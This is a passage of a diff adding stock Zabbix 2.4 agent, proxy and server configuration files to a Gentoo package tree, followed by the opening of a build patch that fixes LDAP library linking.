+# ListenPort=10050
+
+### Option: ListenIP
+# List of comma delimited IP addresses that the agent should listen on.
+# First IP address is sent to Zabbix server if connecting to it to retrieve list of active checks.
+#
+# Mandatory: no
+# Default:
+# ListenIP=0.0.0.0
+
+### Option: StartAgents
+# Number of pre-forked instances of zabbix_agentd that process passive checks.
+# If set to 0, disables passive checks and the agent will not listen on any TCP port.
+#
+# Mandatory: no
+# Range: 0-100
+# Default:
+# StartAgents=3
+
+##### Active checks related
+
+### Option: ServerActive
+# List of comma delimited IP:port (or hostname:port) pairs of Zabbix servers for active checks.
+# If port is not specified, default port is used.
+# IPv6 addresses must be enclosed in square brackets if port for that host is specified.
+# If port is not specified, square brackets for IPv6 addresses are optional.
+# If this parameter is not specified, active checks are disabled.
+# Example: ServerActive=127.0.0.1:20051,zabbix.domain,[::1]:30051,::1,[12fc::1]
+#
+# Mandatory: no
+# Default:
+# ServerActive=
+
+ServerActive=127.0.0.1
+
+### Option: Hostname
+# Unique, case sensitive hostname.
+# Required for active checks and must match hostname as configured on the server.
+# Value is acquired from HostnameItem if undefined.
+#
+# Mandatory: no
+# Default:
+# Hostname=
+
+Hostname=Zabbix server
+
+### Option: HostnameItem
+# Item used for generating Hostname if it is undefined.
+# Ignored if Hostname is defined.
+#
+# Mandatory: no
+# Default:
+# HostnameItem=system.hostname
+
+### Option: HostMetadata
+# Optional parameter that defines host metadata.
+# Host metadata is used at host auto-registration process.
+# An agent will issue an error and not start if the value is over limit of 255 characters.
+# If not defined, value will be acquired from HostMetadataItem.
+#
+# Mandatory: no
+# Range: 0-255 characters
+# Default:
+# HostMetadata=
+
+### Option: HostMetadataItem
+# Optional parameter that defines an item used for getting host metadata.
+# Host metadata is used at host auto-registration process.
+# During an auto-registration request an agent will log a warning message if
+# the value returned by specified item is over limit of 255 characters.
+# This option is only used when HostMetadata is not defined.
+#
+# Mandatory: no
+# Default:
+# HostMetadataItem=
+
+### Option: RefreshActiveChecks
+# How often list of active checks is refreshed, in seconds.
+#
+# Mandatory: no
+# Range: 60-3600
+# Default:
+# RefreshActiveChecks=120
+
+### Option: BufferSend
+# Do not keep data longer than N seconds in buffer.
+#
+# Mandatory: no
+# Range: 1-3600
+# Default:
+# BufferSend=5
+
+### Option: BufferSize
+# Maximum number of values in a memory buffer. The agent will send
+# all collected data to Zabbix Server or Proxy if the buffer is full.
+#
+# Mandatory: no
+# Range: 2-65535
+# Default:
+# BufferSize=100
+
+### Option: MaxLinesPerSecond
+# Maximum number of new lines the agent will send per second to Zabbix Server
+# or Proxy processing 'log' and 'logrt' active checks.
+# The provided value will be overridden by the parameter 'maxlines',
+# provided in 'log' or 'logrt' item keys.
+#
+# Mandatory: no
+# Range: 1-1000
+# Default:
+# MaxLinesPerSecond=100
+
+############ ADVANCED PARAMETERS #################
+
+### Option: Alias
+# Sets an alias for parameter. It can be useful to substitute long and complex parameter name with a smaller and simpler one.
+#
+# Mandatory: no
+# Range:
+# Default:
+
+### Option: Timeout
+# Spend no more than Timeout seconds on processing
+#
+# Mandatory: no
+# Range: 1-30
+# Default:
+# Timeout=3
+
+### Option: AllowRoot
+# Allow the agent to run as 'root'. If disabled and the agent is started by 'root', the agent
+# will try to switch to user 'zabbix' instead. Has no effect if started under a regular user.
+# 0 - do not allow
+# 1 - allow
+#
+# Mandatory: no
+# Default:
+# AllowRoot=0
+
+### Option: Include
+# You may include individual files or all files in a directory in the configuration file.
+# Installing Zabbix will create include directory in /usr/local/etc, unless modified during the compile time.
+#
+# Mandatory: no
+# Default:
+# Include=
+
+# Include=/usr/local/etc/zabbix_agentd.userparams.conf
+# Include=/usr/local/etc/zabbix_agentd.conf.d/
+
+####### USER-DEFINED MONITORED PARAMETERS #######
+
+### Option: UnsafeUserParameters
+# Allow all characters to be passed in arguments to user-defined parameters.
+# 0 - do not allow
+# 1 - allow
+#
+# Mandatory: no
+# Range: 0-1
+# Default:
+# UnsafeUserParameters=0
+
+### Option: UserParameter
+# User-defined parameter to monitor. There can be several user-defined parameters.
+# Format: UserParameter=<key>,<shell command>
+# See 'zabbix_agentd' directory for examples.
+#
+# Mandatory: no
+# Default:
+# UserParameter=
+
+####### LOADABLE MODULES #######
+
+### Option: LoadModulePath
+# Full path to location of agent modules.
+# Default depends on compilation options.
+#
+# Mandatory: no
+# Default:
+# LoadModulePath=${libdir}/modules
+
+### Option: LoadModule
+# Module to load at agent startup. Modules are used to extend functionality of the agent.
+# Format: LoadModule=<module.so>
+# The modules must be located in directory specified by LoadModulePath.
+# It is allowed to include multiple LoadModule parameters.
+#
+# Mandatory: no
+# Default:
+# LoadModule=
diff --git a/net-analyzer/zabbix/files/2.4/zabbix_proxy.conf b/net-analyzer/zabbix/files/2.4/zabbix_proxy.conf
new file mode 100644
index 000000000000..d4bae2ea962f
--- /dev/null
+++ b/net-analyzer/zabbix/files/2.4/zabbix_proxy.conf
@@ -0,0 +1,519 @@
+# This is a configuration file for Zabbix Proxy process
+# To get more information about Zabbix,
+# visit http://www.zabbix.com
+
+############ GENERAL PARAMETERS #################
+
+### Option: ProxyMode
+# Proxy operating mode
+# 0 - proxy in the active mode
+# 1 - proxy in the passive mode
+#
+# Mandatory: no
+# Default:
+# ProxyMode=0
+
+### Option: Server
+# IP address (or hostname) of Zabbix server.
+# Active proxy will get configuration data from the server.
+# For a proxy in the passive mode this parameter will be ignored.
+#
+# Mandatory: yes (if ProxyMode is set to 0)
+# Default:
+# Server=
+
+Server=127.0.0.1
+
+### Option: ServerPort
+# Port of Zabbix trapper on Zabbix server.
+# For a proxy in the passive mode this parameter will be ignored.
+#
+# Mandatory: no
+# Range: 1024-32767
+# Default:
+# ServerPort=10051
+
+### Option: Hostname
+# Unique, case sensitive Proxy name. Make sure the Proxy name is known to the server!
+# Value is acquired from HostnameItem if undefined.
+#
+# Mandatory: no
+# Default:
+# Hostname=
+
+Hostname=Zabbix proxy
+
+### Option: HostnameItem
+# Item used for generating Hostname if it is undefined.
+# Ignored if Hostname is defined.
+#
+# Mandatory: no
+# Default:
+# HostnameItem=system.hostname
+
+### Option: ListenPort
+# Listen port for trapper.
+#
+# Mandatory: no
+# Range: 1024-32767
+# Default:
+# ListenPort=10051
+
+### Option: SourceIP
+# Source IP address for outgoing connections.
+#
+# Mandatory: no
+# Default:
+# SourceIP=
+
+### Option: LogFile
+# Name of log file.
+# If not set, syslog is used.
+#
+# Mandatory: no
+# Default:
+# LogFile=
+
+LogFile=/var/log/zabbix/zabbix_proxy.log
+
+### Option: LogFileSize
+# Maximum size of log file in MB.
+# 0 - disable automatic log rotation.
+#
+# Mandatory: no
+# Range: 0-1024
+# Default:
+LogFileSize=128
+
+### Option: DebugLevel
+# Specifies debug level
+# 0 - no debug
+# 1 - critical information
+# 2 - error information
+# 3 - warnings
+# 4 - for debugging (produces lots of information)
+#
+# Mandatory: no
+# Range: 0-4
+# Default:
+# DebugLevel=3
+
+### Option: PidFile
+# Name of PID file.
+#
+# Mandatory: no
+# Default:
+PidFile=/run/zabbix/zabbix_proxy.pid
+
+### Option: DBHost
+# Database host name.
+# If set to localhost, socket is used for MySQL.
+# If set to empty string, socket is used for PostgreSQL.
+#
+# Mandatory: no
+# Default:
+# DBHost=localhost
+
+### Option: DBName
+# Database name.
+# For SQLite3 path to database file must be provided. DBUser and DBPassword are ignored.
+# Warning: do not attempt to use the same database Zabbix server is using.
+#
+# Mandatory: yes
+# Default:
+# DBName=
+
+DBName=zabbix_proxy
+
+### Option: DBSchema
+# Schema name. Used for IBM DB2.
+#
+# Mandatory: no
+# Default:
+# DBSchema=
+
+### Option: DBUser
+# Database user. Ignored for SQLite.
+#
+# Default:
+# DBUser=
+
+DBUser=root
+
+### Option: DBPassword
+# Database password. Ignored for SQLite.
+# Comment this line if no password is used.
+#
+# Mandatory: no
+# Default:
+# DBPassword=
+
+### Option: DBSocket
+# Path to MySQL socket.
+#
+# Mandatory: no
+# Default:
+# DBSocket=/tmp/mysql.sock
+
+# Option: DBPort
+# Database port when not using local socket. Ignored for SQLite.
+#
+# Mandatory: no
+# Default (for MySQL):
+# DBPort=3306
+
+######### PROXY SPECIFIC PARAMETERS #############
+
+### Option: ProxyLocalBuffer
+# Proxy will keep data locally for N hours, even if the data have already been synced with the server.
+# This parameter may be used if local data will be used by third party applications.
+#
+# Mandatory: no
+# Range: 0-720
+# Default:
+# ProxyLocalBuffer=0
+
+### Option: ProxyOfflineBuffer
+# Proxy will keep data for N hours in case if no connectivity with Zabbix Server.
+# Older data will be lost.
+#
+# Mandatory: no
+# Range: 1-720
+# Default:
+# ProxyOfflineBuffer=1
+
+### Option: HeartbeatFrequency
+# Frequency of heartbeat messages in seconds.
+# Used for monitoring availability of Proxy on server side.
+# 0 - heartbeat messages disabled.
+# For a proxy in the passive mode this parameter will be ignored.
+#
+# Mandatory: no
+# Range: 0-3600
+# Default:
+# HeartbeatFrequency=60
+
+### Option: ConfigFrequency
+# How often proxy retrieves configuration data from Zabbix Server in seconds.
+# For a proxy in the passive mode this parameter will be ignored.
+#
+# Mandatory: no
+# Range: 1-3600*24*7
+# Default:
+# ConfigFrequency=3600
+
+### Option: DataSenderFrequency
+# Proxy will send collected data to the Server every N seconds.
+# For a proxy in the passive mode this parameter will be ignored.
+#
+# Mandatory: no
+# Range: 1-3600
+# Default:
+# DataSenderFrequency=1
+
+############ ADVANCED PARAMETERS ################
+
+### Option: StartPollers
+# Number of pre-forked instances of pollers.
+#
+# Mandatory: no
+# Range: 0-1000
+# Default:
+# StartPollers=5
+
+### Option: StartIPMIPollers
+# Number of pre-forked instances of IPMI pollers.
+#
+# Mandatory: no
+# Range: 0-1000
+# Default:
+# StartIPMIPollers=0
+
+### Option: StartPollersUnreachable
+# Number of pre-forked instances of pollers for unreachable hosts (including IPMI).
+#
+# Mandatory: no
+# Range: 0-1000
+# Default:
+# StartPollersUnreachable=1
+
+### Option: StartTrappers
+# Number of pre-forked instances of trappers.
+# Trappers accept incoming connections from Zabbix sender and active agents.
+#
+# Mandatory: no
+# Range: 0-1000
+# Default:
+# StartTrappers=5
+
+### Option: StartPingers
+# Number of pre-forked instances of ICMP pingers.
+#
+# Mandatory: no
+# Range: 0-1000
+# Default:
+# StartPingers=1
+
+### Option: StartDiscoverers
+# Number of pre-forked instances of discoverers.
+#
+# Mandatory: no
+# Range: 0-250
+# Default:
+# StartDiscoverers=1
+
+### Option: StartHTTPPollers
+# Number of pre-forked instances of HTTP pollers.
+#
+# Mandatory: no
+# Range: 0-1000
+# Default:
+# StartHTTPPollers=1
+
+### Option: JavaGateway
+# IP address (or hostname) of Zabbix Java gateway.
+# Only required if Java pollers are started.
+#
+# Mandatory: no
+# Default:
+# JavaGateway=
+
+### Option: JavaGatewayPort
+# Port that Zabbix Java gateway listens on.
+#
+# Mandatory: no
+# Range: 1024-32767
+# Default:
+# JavaGatewayPort=10052
+
+### Option: StartJavaPollers
+# Number of pre-forked instances of Java pollers.
+#
+# Mandatory: no
+# Range: 0-1000
+# Default:
+# StartJavaPollers=0
+
+### Option: StartVMwareCollectors
+# Number of pre-forked vmware collector instances.
+#
+# Mandatory: no
+# Range: 0-250
+# Default:
+# StartVMwareCollectors=0
+
+### Option: VMwareFrequency
+# How often Zabbix will connect to VMware service to obtain a new data.
+#
+# Mandatory: no
+# Range: 10-86400
+# Default:
+# VMwareFrequency=60
+
+### Option: VMwareCacheSize
+# Size of VMware cache, in bytes.
+# Shared memory size for storing VMware data.
+# Only used if VMware collectors are started.
+#
+# Mandatory: no
+# Range: 256K-2G
+# Default:
+# VMwareCacheSize=8M
+
+### Option: SNMPTrapperFile
+# Temporary file used for passing data from SNMP trap daemon to the proxy.
+# Must be the same as in zabbix_trap_receiver.pl or SNMPTT configuration file.
+#
+# Mandatory: no
+# Default:
+# SNMPTrapperFile=/tmp/zabbix_traps.tmp
+
+### Option: StartSNMPTrapper
+# If 1, SNMP trapper process is started.
+#
+# Mandatory: no
+# Range: 0-1
+# Default:
+# StartSNMPTrapper=0
+
+### Option: ListenIP
+# List of comma delimited IP addresses that the trapper should listen on.
+# Trapper will listen on all network interfaces if this parameter is missing.
+#
+# Mandatory: no
+# Default:
+# ListenIP=0.0.0.0
+
+### Option: HousekeepingFrequency
+# How often Zabbix will perform housekeeping procedure (in hours).
+# Housekeeping is removing unnecessary information from history, alert, and alarms tables.
+#
+# Mandatory: no
+# Range: 1-24
+# Default:
+# HousekeepingFrequency=1
+
+### Option: CacheSize
+# Size of configuration cache, in bytes.
+# Shared memory size, for storing hosts and items data.
+#
+# Mandatory: no
+# Range: 128K-2G
+# Default:
+# CacheSize=8M
+
+### Option: StartDBSyncers
+# Number of pre-forked instances of DB Syncers
+#
+# Mandatory: no
+# Range: 1-100
+# Default:
+# StartDBSyncers=4
+
+### Option: HistoryCacheSize
+# Size of history cache, in bytes.
+# Shared memory size for storing history data.
+#
+# Mandatory: no
+# Range: 128K-2G
+# Default:
+# HistoryCacheSize=8M
+
+### Option: HistoryTextCacheSize
+# Size of text history cache, in bytes.
+# Shared memory size for storing character, text or log history data.
+#
+# Mandatory: no
+# Range: 128K-2G
+# Default:
+# HistoryTextCacheSize=16M
+
+### Option: Timeout
+# Specifies how long we wait for agent, SNMP device or external check (in seconds).
+#
+# Mandatory: no
+# Range: 1-30
+# Default:
+# Timeout=3
+
+### Option: TrapperTimeout
+# Specifies how many seconds trapper may spend processing new data.
+#
+# Mandatory: no
+# Range: 1-300
+# Default:
+# TrapperTimeout=300
+
+### Option: UnreachablePeriod
+# After how many seconds of unreachability treat a host as unavailable.
+#
+# Mandatory: no
+# Range: 1-3600
+# Default:
+# UnreachablePeriod=45
+
+### Option: UnavailableDelay
+# How often host is checked for availability during the unavailability period, in seconds.
+#
+# Mandatory: no
+# Range: 1-3600
+# Default:
+# UnavailableDelay=60
+
+### Option: UnreachableDelay
+# How often host is checked for availability during the unreachability period, in seconds.
+#
+# Mandatory: no
+# Range: 1-3600
+# Default:
+# UnreachableDelay=15
+
+### Option: ExternalScripts
+# Full path to location of external scripts.
+# Default depends on compilation options.
+#
+# Mandatory: no
+# Default:
+# ExternalScripts=${datadir}/zabbix/externalscripts
+
+### Option: FpingLocation
+# Location of fping.
+# Make sure that fping binary has root ownership and SUID flag set.
+#
+# Mandatory: no
+# Default:
+# FpingLocation=/usr/sbin/fping
+
+### Option: Fping6Location
+# Location of fping6.
+# Make sure that fping6 binary has root ownership and SUID flag set.
+# Make empty if your fping utility is capable to process IPv6 addresses.
+#
+# Mandatory: no
+# Default:
+# Fping6Location=/usr/sbin/fping6
+
+### Option: SSHKeyLocation
+# Location of public and private keys for SSH checks and actions.
+#
+# Mandatory: no
+# Default:
+# SSHKeyLocation=
+
+### Option: LogSlowQueries
+# How long a database query may take before being logged (in milliseconds).
+# Only works if DebugLevel set to 3 or 4.
+# 0 - don't log slow queries.
+#
+# Mandatory: no
+# Range: 1-3600000
+# Default:
+# LogSlowQueries=0
+
+### Option: TmpDir
+# Temporary directory.
+#
+# Mandatory: no
+# Default:
+# TmpDir=/tmp
+
+### Option: AllowRoot
+# Allow the proxy to run as 'root'. If disabled and the proxy is started by 'root', the proxy
+# will try to switch to user 'zabbix' instead. Has no effect if started under a regular user.
+# 0 - do not allow
+# 1 - allow
+#
+# Mandatory: no
+# Default:
+# AllowRoot=0
+
+### Option: Include
+# You may include individual files or all files in a directory in the configuration file.
+# Installing Zabbix will create include directory in /usr/local/etc, unless modified during the compile time.
+#
+# Mandatory: no
+# Default:
+# Include=
+
+# Include=/usr/local/etc/zabbix_proxy.general.conf
+# Include=/usr/local/etc/zabbix_proxy.conf.d/
+
+####### LOADABLE MODULES #######
+
+### Option: LoadModulePath
+# Full path to location of proxy modules.
+# Default depends on compilation options.
+#
+# Mandatory: no
+# Default:
+# LoadModulePath=${libdir}/modules
+
+### Option: LoadModule
+# Module to load at proxy startup. Modules are used to extend functionality of the proxy.
+# Format: LoadModule=<module.so>
+# The modules must be located in directory specified by LoadModulePath.
+# It is allowed to include multiple LoadModule parameters.
+#
+# Mandatory: no
+# Default:
+# LoadModule=
diff --git a/net-analyzer/zabbix/files/2.4/zabbix_server.conf b/net-analyzer/zabbix/files/2.4/zabbix_server.conf
new file mode 100644
index 000000000000..caba0190668e
--- /dev/null
+++ b/net-analyzer/zabbix/files/2.4/zabbix_server.conf
@@ -0,0 +1,546 @@
+# This is a configuration file for Zabbix Server process
+# To get more information about Zabbix,
+# visit http://www.zabbix.com
+
+############ GENERAL PARAMETERS #################
+
+### Option: NodeID
+# Unique NodeID in distributed setup.
+# 0 - standalone server
+#
+# Mandatory: no
+# Range: 0-999
+# Default:
+# NodeID=0
+
+### Option: ListenPort
+# Listen port for trapper.
+#
+# Mandatory: no
+# Range: 1024-32767
+# Default:
+# ListenPort=10051
+
+### Option: SourceIP
+# Source IP address for outgoing connections.
+#
+# Mandatory: no
+# Default:
+# SourceIP=
+
+### Option: LogFile
+# Name of log file.
+# If not set, syslog is used.
+#
+# Mandatory: no
+# Default:
+# LogFile=
+
+LogFile=/var/log/zabbix/zabbix_server.log
+
+### Option: LogFileSize
+# Maximum size of log file in MB.
+# 0 - disable automatic log rotation.
+#
+# Mandatory: no
+# Range: 0-1024
+# Default:
+LogFileSize=128
+
+### Option: DebugLevel
+# Specifies debug level
+# 0 - no debug
+# 1 - critical information
+# 2 - error information
+# 3 - warnings
+# 4 - for debugging (produces lots of information)
+#
+# Mandatory: no
+# Range: 0-4
+# Default:
+# DebugLevel=3
+
+### Option: PidFile
+# Name of PID file.
+#
+# Mandatory: no
+# Default:
+PidFile=/run/zabbix/zabbix_server.pid
+
+### Option: DBHost
+# Database host name.
+# If set to localhost, socket is used for MySQL.
+# If set to empty string, socket is used for PostgreSQL.
+#
+# Mandatory: no
+# Default:
+# DBHost=localhost
+
+### Option: DBName
+# Database name.
+# For SQLite3 path to database file must be provided. DBUser and DBPassword are ignored.
+#
+# Mandatory: yes
+# Default:
+# DBName=
+
+DBName=zabbix
+
+### Option: DBSchema
+# Schema name. Used for IBM DB2.
+#
+# Mandatory: no
+# Default:
+# DBSchema=
+
+### Option: DBUser
+# Database user. Ignored for SQLite.
+#
+# Mandatory: no
+# Default:
+# DBUser=
+
+DBUser=root
+
+### Option: DBPassword
+# Database password. Ignored for SQLite.
+# Comment this line if no password is used.
+#
+# Mandatory: no
+# Default:
+# DBPassword=
+
+### Option: DBSocket
+# Path to MySQL socket.
+#
+# Mandatory: no
+# Default:
+# DBSocket=/tmp/mysql.sock
+
+### Option: DBPort
+# Database port when not using local socket. Ignored for SQLite.
+#
+# Mandatory: no
+# Range: 1024-65535
+# Default (for MySQL):
+# DBPort=3306
+
+############ ADVANCED PARAMETERS ################
+
+### Option: StartPollers
+# Number of pre-forked instances of pollers.
+#
+# Mandatory: no
+# Range: 0-1000
+# Default:
+# StartPollers=5
+
+### Option: StartIPMIPollers
+# Number of pre-forked instances of IPMI pollers.
+#
+# Mandatory: no
+# Range: 0-1000
+# Default:
+# StartIPMIPollers=0
+
+### Option: StartPollersUnreachable
+# Number of pre-forked instances of pollers for unreachable hosts (including IPMI).
+#
+# Mandatory: no
+# Range: 0-1000
+# Default:
+# StartPollersUnreachable=1
+
+### Option: StartTrappers
+# Number of pre-forked instances of trappers.
+# Trappers accept incoming connections from Zabbix sender, active agents, active proxies and child nodes.
+# At least one trapper process must be running to display server availability in the frontend.
+#
+# Mandatory: no
+# Range: 0-1000
+# Default:
+# StartTrappers=5
+
+### Option: StartPingers
+# Number of pre-forked instances of ICMP pingers.
+#
+# Mandatory: no
+# Range: 0-1000
+# Default:
+# StartPingers=1
+
+### Option: StartDiscoverers
+# Number of pre-forked instances of discoverers.
+#
+# Mandatory: no
+# Range: 0-250
+# Default:
+# StartDiscoverers=1
+
+### Option: StartHTTPPollers
+# Number of pre-forked instances of HTTP pollers.
+#
+# Mandatory: no
+# Range: 0-1000
+# Default:
+# StartHTTPPollers=1
+
+### Option: StartTimers
+# Number of pre-forked instances of timers.
+# Timers process time-based trigger functions and maintenance periods.
+# Only the first timer process handles the maintenance periods.
+#
+# Mandatory: no
+# Range: 1-1000
+# Default:
+# StartTimers=1
+
+### Option: JavaGateway
+# IP address (or hostname) of Zabbix Java gateway.
+# Only required if Java pollers are started.
+#
+# Mandatory: no
+# Default:
+# JavaGateway=
+
+### Option: JavaGatewayPort
+# Port that Zabbix Java gateway listens on.
+#
+# Mandatory: no
+# Range: 1024-32767
+# Default:
+# JavaGatewayPort=10052
+
+### Option: StartJavaPollers
+# Number of pre-forked instances of Java pollers.
+#
+# Mandatory: no
+# Range: 0-1000
+# Default:
+# StartJavaPollers=0
+
+### Option: StartVMwareCollectors
+# Number of pre-forked vmware collector instances.
+#
+# Mandatory: no
+# Range: 0-250
+# Default:
+# StartVMwareCollectors=0
+
+### Option: VMwareFrequency
+# How often Zabbix will connect to VMware service to obtain a new data.
+#
+# Mandatory: no
+# Range: 10-86400
+# Default:
+# VMwareFrequency=60
+
+### Option: VMwareCacheSize
+# Size of VMware cache, in bytes.
+# Shared memory size for storing VMware data.
+# Only used if VMware collectors are started.
+#
+# Mandatory: no
+# Range: 256K-2G
+# Default:
+# VMwareCacheSize=8M
+
+### Option: SNMPTrapperFile
+# Temporary file used for passing data from SNMP trap daemon to the server.
+# Must be the same as in zabbix_trap_receiver.pl or SNMPTT configuration file.
+#
+# Mandatory: no
+# Default:
+# SNMPTrapperFile=/tmp/zabbix_traps.tmp
+
+### Option: StartSNMPTrapper
+# If 1, SNMP trapper process is started.
+#
+# Mandatory: no
+# Range: 0-1
+# Default:
+# StartSNMPTrapper=0
+
+### Option: ListenIP
+# List of comma delimited IP addresses that the trapper should listen on.
+# Trapper will listen on all network interfaces if this parameter is missing.
+#
+# Mandatory: no
+# Default:
+# ListenIP=0.0.0.0
+
+# ListenIP=127.0.0.1
+
+### Option: HousekeepingFrequency
+# How often Zabbix will perform housekeeping procedure (in hours).
+# Housekeeping is removing unnecessary information from history, alert, and alarms tables.
+#
+# Mandatory: no
+# Range: 1-24
+# Default:
+# HousekeepingFrequency=1
+
+### Option: MaxHousekeeperDelete
+# The table "housekeeper" contains "tasks" for housekeeping procedure in the format:
+# [housekeeperid], [tablename], [field], [value].
+# No more than 'MaxHousekeeperDelete' rows (corresponding to [tablename], [field], [value])
+# will be deleted per one task in one housekeeping cycle.
+# SQLite3 does not use this parameter, deletes all corresponding rows without a limit.
+# If set to 0 then no limit is used at all. In this case you must know what you are doing!
+#
+# Mandatory: no
+# Range: 0-1000000
+# Default:
+# MaxHousekeeperDelete=500
+
+### Option: SenderFrequency
+# How often Zabbix will try to send unsent alerts (in seconds).
+#
+# Mandatory: no
+# Range: 5-3600
+# Default:
+# SenderFrequency=30
+
+### Option: CacheSize
+# Size of configuration cache, in bytes.
+# Shared memory size for storing host, item and trigger data.
+#
+# Mandatory: no
+# Range: 128K-2G
+# Default:
+# CacheSize=8M
+
+### Option: CacheUpdateFrequency
+# How often Zabbix will perform update of configuration cache, in seconds.
+#
+# Mandatory: no
+# Range: 1-3600
+# Default:
+# CacheUpdateFrequency=60
+
+### Option: StartDBSyncers
+# Number of pre-forked instances of DB Syncers
+#
+# Mandatory: no
+# Range: 1-100
+# Default:
+# StartDBSyncers=4
+
+### Option: HistoryCacheSize
+# Size of history cache, in bytes.
+# Shared memory size for storing history data.
+#
+# Mandatory: no
+# Range: 128K-2G
+# Default:
+# HistoryCacheSize=8M
+
+### Option: TrendCacheSize
+# Size of trend cache, in bytes.
+# Shared memory size for storing trends data.
+#
+# Mandatory: no
+# Range: 128K-2G
+# Default:
+# TrendCacheSize=4M
+
+### Option: HistoryTextCacheSize
+# Size of text history cache, in bytes.
+# Shared memory size for storing character, text or log history data.
+#
+# Mandatory: no
+# Range: 128K-2G
+# Default:
+# HistoryTextCacheSize=16M
+
+### Option: ValueCacheSize
+# Size of history value cache, in bytes.
+# Shared memory size for caching item history data requests
+# Setting to 0 disables value cache.
+#
+# Mandatory: no
+# Range: 0,128K-64G
+# Default:
+# ValueCacheSize=8M
+
+### Option: NodeNoEvents
+# If set to '1' local events won't be sent to master node.
+# This won't impact ability of this node to propagate events from its child nodes.
+#
+# Mandatory: no
+# Range: 0-1
+# Default:
+# NodeNoEvents=0
+
+### Option: NodeNoHistory
+# If set to '1' local history won't be sent to master node.
+# This won't impact ability of this node to propagate history from its child nodes.
+#
+# Mandatory: no
+# Range: 0-1
+# Default:
+# NodeNoHistory=0
+
+### Option: Timeout
+# Specifies how long we wait for agent, SNMP device or external check (in seconds).
+#
+# Mandatory: no
+# Range: 1-30
+# Default:
+# Timeout=3
+
+### Option: TrapperTimeout
+# Specifies how many seconds trapper may spend processing new data.
+#
+# Mandatory: no
+# Range: 1-300
+# Default:
+# TrapperTimeout=300
+
+### Option: UnreachablePeriod
+# After how many seconds of unreachability treat a host as unavailable.
+#
+# Mandatory: no
+# Range: 1-3600
+# Default:
+# UnreachablePeriod=45
+
+### Option: UnavailableDelay
+# How often host is checked for availability during the unavailability period, in seconds.
+#
+# Mandatory: no
+# Range: 1-3600
+# Default:
+# UnavailableDelay=60
+
+### Option: UnreachableDelay
+# How often host is checked for availability during the unreachability period, in seconds.
+#
+# Mandatory: no
+# Range: 1-3600
+# Default:
+# UnreachableDelay=15
+
+### Option: AlertScriptsPath
+# Full path to location of custom alert scripts.
+# Default depends on compilation options.
+#
+# Mandatory: no
+# Default:
+AlertScriptsPath=/var/lib/zabbix/alertscripts
+
+### Option: ExternalScripts
+# Full path to location of external scripts.
+# Default depends on compilation options.
+#
+# Mandatory: no
+# Default:
+ExternalScripts=/var/lib/zabbix/externalscripts
+
+### Option: FpingLocation
+# Location of fping.
+# Make sure that fping binary has root ownership and SUID flag set.
+#
+# Mandatory: no
+# Default:
+# FpingLocation=/usr/sbin/fping
+
+### Option: Fping6Location
+# Location of fping6.
+# Make sure that fping6 binary has root ownership and SUID flag set.
+# Make empty if your fping utility is capable to process IPv6 addresses.
+#
+# Mandatory: no
+# Default:
+# Fping6Location=/usr/sbin/fping6
+
+### Option: SSHKeyLocation
+# Location of public and private keys for SSH checks and actions.
+#
+# Mandatory: no
+# Default:
+# SSHKeyLocation=
+
+### Option: LogSlowQueries
+# How long a database query may take before being logged (in milliseconds).
+# Only works if DebugLevel set to 3 or 4.
+# 0 - don't log slow queries.
+#
+# Mandatory: no
+# Range: 1-3600000
+# Default:
+# LogSlowQueries=0
+
+### Option: TmpDir
+# Temporary directory.
+#
+# Mandatory: no
+# Default:
+# TmpDir=/tmp
+
+### Option: StartProxyPollers
+# Number of pre-forked instances of pollers for passive proxies.
+#
+# Mandatory: no
+# Range: 0-250
+# Default:
+# StartProxyPollers=1
+
+### Option: ProxyConfigFrequency
+# How often Zabbix Server sends configuration data to a Zabbix Proxy in seconds.
+# This parameter is used only for proxies in the passive mode.
+#
+# Mandatory: no
+# Range: 1-3600*24*7
+# Default:
+# ProxyConfigFrequency=3600
+
+### Option: ProxyDataFrequency
+# How often Zabbix Server requests history data from a Zabbix Proxy in seconds.
+# This parameter is used only for proxies in the passive mode.
+#
+# Mandatory: no
+# Range: 1-3600
+# Default:
+# ProxyDataFrequency=1
+
+### Option: AllowRoot
+# Allow the server to run as 'root'. If disabled and the server is started by 'root', the server
+# will try to switch to user 'zabbix' instead. Has no effect if started under a regular user.
+# 0 - do not allow
+# 1 - allow
+#
+# Mandatory: no
+# Default:
+# AllowRoot=0
+
+### Option: Include
+# You may include individual files or all files in a directory in the configuration file.
+# Installing Zabbix will create include directory in /usr/local/etc, unless modified during the compile time.
+#
+# Mandatory: no
+# Default:
+# Include=
+
+# Include=/usr/local/etc/zabbix_server.general.conf
+#Include=/etc/zabbix/zabbix_server.conf.d/
+
+####### LOADABLE MODULES #######
+
+### Option: LoadModulePath
+# Full path to location of server modules.
+# Default depends on compilation options.
+#
+# Mandatory: no
+# Default:
+# LoadModulePath=${libdir}/modules
+
+### Option: LoadModule
+# Module to load at server startup. Modules are used to extend functionality of the server.
+# Format: LoadModule=<module.so>
+# The modules must be located in directory specified by LoadModulePath.
+# It is allowed to include multiple LoadModule parameters.
+#
+# Mandatory: no
+# Default:
+# LoadModule=
diff --git a/net-analyzer/zabbix/files/zabbix-1.8.9-as-needed.patch b/net-analyzer/zabbix/files/zabbix-1.8.9-as-needed.patch
new file mode 100644
index 000000000000..254634d4ff96
--- /dev/null
+++ b/net-analyzer/zabbix/files/zabbix-1.8.9-as-needed.patch
@@ -0,0 +1,83 @@
+From 90b086b4daebf61756e3d6f8926cf8951a2fc96a Mon Sep 17 00:00:00 2001
+From: Vladimir V. Kamarzin <vvk@altlinux.org>
+Date: Fri, 22 Oct 2010 17:47:01 +0600
+Subject: [PATCH 1/2] Fix linking with ldap libs
+
+Move "-lldap -llber" from LDAP_LDFLAGS to LDAP_LIBS and include them to
+LIBS
+---
+ configure.in | 1 +
+ m4/ldap.m4 | 4 +++-
+ 2 files changed, 4 insertions(+), 1 deletions(-)
+
+diff --git a/configure.in b/configure.in
+index d3d981b..b11b2ee 100644
+--- a/configure.in
++++ b/configure.in
+@@ -1281,6 +1281,7 @@ if test "x$want_ldap" = "xyes"; then
+ fi
+ CFLAGS="${CFLAGS} ${LDAP_CPPFLAGS}"
+ SERVER_LDFLAGS="${SERVER_LDFLAGS} ${LDAP_LDFLAGS}"
++LIBS="${LIBS} ${LDAP_LIBS}"
+ PROXY_LDFLAGS="${PROXY_LDFLAGS} ${LDAP_LDFLAGS}"
+ AGENT_LDFLAGS="${AGENT_LDFLAGS} ${LDAP_LDFLAGS}"
+
+ found_iconv="no"
+ dnl Check for libiconv [by default - skip]
+diff --git a/m4/ldap.m4 b/m4/ldap.m4
+index 29e97cd..885b3e0 100644
+--- a/m4/ldap.m4
